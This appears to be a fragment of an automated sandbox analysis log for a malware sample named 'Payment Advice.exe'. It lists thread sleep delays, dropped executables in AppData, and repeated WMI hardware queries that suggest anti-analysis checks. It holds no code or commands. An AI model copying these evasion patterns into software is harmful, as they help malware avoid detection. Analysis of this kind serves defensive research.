Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -92035s >= -30000s
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe TID: 7912	Thread sleep time: -91912s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7980	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -36893488147419080s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99827s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99718s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99609s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99498s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99390s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99281s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99172s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -99062s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98953s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98844s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98734s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98624s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98515s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98406s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98296s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98186s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -98078s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97968s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97859s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97749s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97640s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97531s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97421s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97312s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97203s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -97093s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96984s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96875s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96765s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96655s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96547s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96437s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96328s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96218s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96109s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -96000s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95890s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95779s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95672s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95562s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95453s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95343s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95234s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95125s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -95015s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -94906s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -94797s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -94687s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7244	Thread sleep time: -94578s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7356	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -35971150943733603s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 5752	Thread sleep count: 3599 > 30
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99874s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 5752	Thread sleep count: 6220 > 30
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99766s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99547s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99438s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99313s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99188s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -99078s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98969s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98844s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98735s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98610s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98485s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98360s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98235s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -98110s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97985s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97860s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97735s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97610s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97485s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97360s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97235s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -97110s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96985s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96860s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96735s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96610s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96485s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96360s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96235s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -96110s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95985s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95860s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95735s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95610s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95485s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95360s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95235s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -95113s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -94985s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -94860s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -94619s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -94516s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -94406s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -94268s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -1199958s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -1199828s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7876	Thread sleep time: -1199719s >= -30000s

Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99653	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99530	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99201	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 99049	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98922	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98812	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98594	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98484	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98375	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98266	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98156	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 98044	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97937	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97828	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97714	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97559	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97332	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97203	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 97093	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96984	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96874	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96766	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96641	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96531	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96421	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96312	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96203	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 96094	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95984	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95875	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95766	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95656	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95547	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95437	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95328	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95219	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95109	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 95000	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 94891	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 94781	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 94672	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Thread delayed: delay time: 94562	Jump to behavior
